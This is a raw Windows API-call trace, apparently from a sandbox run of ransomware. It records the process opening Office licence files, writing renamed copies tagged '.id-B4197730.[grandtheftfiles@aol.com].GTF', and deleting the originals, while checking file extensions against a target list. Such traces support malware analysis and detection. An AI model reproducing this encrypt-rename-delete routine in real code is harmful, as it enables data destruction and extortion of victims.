	[0180.652] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0180.652] lstrlenW (lpString=".dbf") returned 4
	[0180.652] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0180.652] lstrlenW (lpString=".1cd") returned 4
	[0180.652] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0180.652] lstrlenW (lpString=".jpg") returned 4
	[0180.652] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0180.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0180.652] lstrlenW (lpString=".doc") returned 4
	[0180.652] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.652] lstrlenW (lpString=".docx") returned 5
	[0180.652] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.656] lstrlenW (lpString=".pdf") returned 4
	[0180.656] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.656] lstrlenW (lpString=".xls") returned 4
	[0180.656] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.656] lstrlenW (lpString=".xlsx") returned 5
	[0180.656] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.656] lstrlenW (lpString=".ppt") returned 4
	[0180.656] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0180.656] lstrlenW (lpString=".zip") returned 4
	[0180.656] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.656] lstrlenW (lpString=".rar") returned 4
	[0180.656] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.656] lstrlenW (lpString=".bz2") returned 4
	[0180.656] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.656] lstrlenW (lpString=".7z") returned 3
	[0180.656] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0180.656] lstrlenW (lpString=".dbf") returned 4
	[0180.656] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0180.656] lstrlenW (lpString=".1cd") returned 4
	[0180.656] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription2-ul-oob.xrm-ms") returned 90
	[0180.656] lstrlenW (lpString=".jpg") returned 4
	[0180.656] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.656] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.656] lstrlenW (lpString="O365ProPlusR_Subscription4-pl.xrm-ms") returned 36
	[0180.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0180.657] GetFileSizeEx (in: hFile=0x55c, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11195) returned 1
	[0180.657] CloseHandle (hObject=0x55c) returned 1
	[0180.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms")) returned 0x220
	[0180.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x55c
	[0180.658] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.658] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.658] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0180.659] GetLastError () returned 0x0
	[0180.659] ReadFile (in: hFile=0x55c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2bbb, lpOverlapped=0x0) returned 1
	[0180.887] WriteFile (in: hFile=0x504, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0180.888] ReadFile (in: hFile=0x55c, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.888] WriteFile (in: hFile=0x504, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0180.888] SetEndOfFile (hFile=0x504) returned 1
	[0180.888] CloseHandle (hObject=0x504) returned 1
	[0180.888] SetFilePointerEx (in: hFile=0x55c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.888] SetEndOfFile (hFile=0x55c) returned 1
	[0181.016] CloseHandle (hObject=0x55c) returned 1
	[0181.016] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription4-pl.xrm-ms")) returned 1
	[0181.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0181.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0181.140] lstrlenW (lpString=".doc") returned 4
	[0181.140] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.140] lstrlenW (lpString=".docx") returned 5
	[0181.140] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.140] lstrlenW (lpString=".pdf") returned 4
	[0181.140] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.140] lstrlenW (lpString=".xls") returned 4
	[0181.141] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.141] lstrlenW (lpString=".xlsx") returned 5
	[0181.141] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.141] lstrlenW (lpString=".ppt") returned 4
	[0181.141] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0181.141] lstrlenW (lpString=".zip") returned 4
	[0181.141] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.141] lstrlenW (lpString=".rar") returned 4
	[0181.141] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.141] lstrlenW (lpString=".bz2") returned 4
	[0181.141] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.141] lstrlenW (lpString=".7z") returned 3
	[0181.141] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0181.141] lstrlenW (lpString=".dbf") returned 4
	[0181.141] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0181.141] lstrlenW (lpString=".1cd") returned 4
	[0181.141] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0181.141] lstrlenW (lpString=".jpg") returned 4
	[0181.141] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0181.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0181.141] lstrlenW (lpString=".doc") returned 4
	[0181.141] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.141] lstrlenW (lpString=".docx") returned 5
	[0181.141] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.141] lstrlenW (lpString=".pdf") returned 4
	[0181.141] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.141] lstrlenW (lpString=".xls") returned 4
	[0181.141] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.141] lstrlenW (lpString=".xlsx") returned 5
	[0181.141] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.141] lstrlenW (lpString=".ppt") returned 4
	[0181.141] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0181.142] lstrlenW (lpString=".zip") returned 4
	[0181.142] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.142] lstrlenW (lpString=".rar") returned 4
	[0181.142] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.142] lstrlenW (lpString=".bz2") returned 4
	[0181.142] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.142] lstrlenW (lpString=".7z") returned 3
	[0181.142] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0181.142] lstrlenW (lpString=".dbf") returned 4
	[0181.142] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0181.142] lstrlenW (lpString=".1cd") returned 4
	[0181.142] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription4-pl.xrm-ms") returned 86
	[0181.142] lstrlenW (lpString=".jpg") returned 4
	[0181.142] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.142] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.142] lstrlenW (lpString="O365ProPlusR_SubTrial3-pl.xrm-ms") returned 32
	[0181.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0181.143] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=11179) returned 1
	[0181.143] CloseHandle (hObject=0x568) returned 1
	[0181.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms")) returned 0x220
	[0181.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0181.144] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.144] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0181.145] GetLastError () returned 0x0
	[0181.145] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0181.146] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0181.147] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.147] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x114, lpOverlapped=0x0) returned 1
	[0181.148] SetEndOfFile (hFile=0x560) returned 1
	[0181.148] CloseHandle (hObject=0x560) returned 1
	[0181.148] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.148] SetEndOfFile (hFile=0x568) returned 1
	[0181.150] CloseHandle (hObject=0x568) returned 1
	[0181.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-pl.xrm-ms")) returned 1
	[0181.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0181.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0181.152] lstrlenW (lpString=".doc") returned 4
	[0181.152] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.152] lstrlenW (lpString=".docx") returned 5
	[0181.152] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.152] lstrlenW (lpString=".pdf") returned 4
	[0181.152] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.152] lstrlenW (lpString=".xls") returned 4
	[0181.152] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.152] lstrlenW (lpString=".xlsx") returned 5
	[0181.152] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.152] lstrlenW (lpString=".ppt") returned 4
	[0181.152] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0181.152] lstrlenW (lpString=".zip") returned 4
	[0181.152] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.152] lstrlenW (lpString=".rar") returned 4
	[0181.152] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.152] lstrlenW (lpString=".bz2") returned 4
	[0181.152] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.152] lstrlenW (lpString=".7z") returned 3
	[0181.152] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0181.152] lstrlenW (lpString=".dbf") returned 4
	[0181.152] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0181.152] lstrlenW (lpString=".1cd") returned 4
	[0181.152] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.152] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0181.152] lstrlenW (lpString=".jpg") returned 4
	[0181.152] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0181.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0181.153] lstrlenW (lpString=".doc") returned 4
	[0181.153] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.153] lstrlenW (lpString=".docx") returned 5
	[0181.153] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.153] lstrlenW (lpString=".pdf") returned 4
	[0181.153] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.153] lstrlenW (lpString=".xls") returned 4
	[0181.153] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.153] lstrlenW (lpString=".xlsx") returned 5
	[0181.153] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.153] lstrlenW (lpString=".ppt") returned 4
	[0181.153] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0181.153] lstrlenW (lpString=".zip") returned 4
	[0181.153] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.153] lstrlenW (lpString=".rar") returned 4
	[0181.153] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.153] lstrlenW (lpString=".bz2") returned 4
	[0181.153] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.153] lstrlenW (lpString=".7z") returned 3
	[0181.153] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0181.153] lstrlenW (lpString=".dbf") returned 4
	[0181.153] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0181.153] lstrlenW (lpString=".1cd") returned 4
	[0181.153] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-pl.xrm-ms") returned 82
	[0181.153] lstrlenW (lpString=".jpg") returned 4
	[0181.153] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.154] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.154] lstrlenW (lpString="O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 33
	[0181.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0181.154] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=24369) returned 1
	[0181.154] CloseHandle (hObject=0x568) returned 1
	[0181.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms")) returned 0x220
	[0181.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568
	[0181.155] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.155] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560
	[0181.156] GetLastError () returned 0x0
	[0181.156] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x5f31, lpOverlapped=0x0) returned 1
	[0181.158] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x5f40, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5f40, lpOverlapped=0x0) returned 1
	[0181.159] ReadFile (in: hFile=0x568, lpBuffer=0x375d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.159] WriteFile (in: hFile=0x560, lpBuffer=0x375d020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x375d020*, lpNumberOfBytesWritten=0x2c0fc94*=0x116, lpOverlapped=0x0) returned 1
	[0181.159] SetEndOfFile (hFile=0x560) returned 1
	[0181.160] CloseHandle (hObject=0x560) returned 1
	[0181.160] SetFilePointerEx (in: hFile=0x568, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.160] SetEndOfFile (hFile=0x568) returned 1
	[0181.165] CloseHandle (hObject=0x568) returned 1
	[0181.166] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.166] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subtrial3-ppd.xrm-ms")) returned 1
	[0181.167] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_SubTrial3-ppd.xrm-ms") returned 83
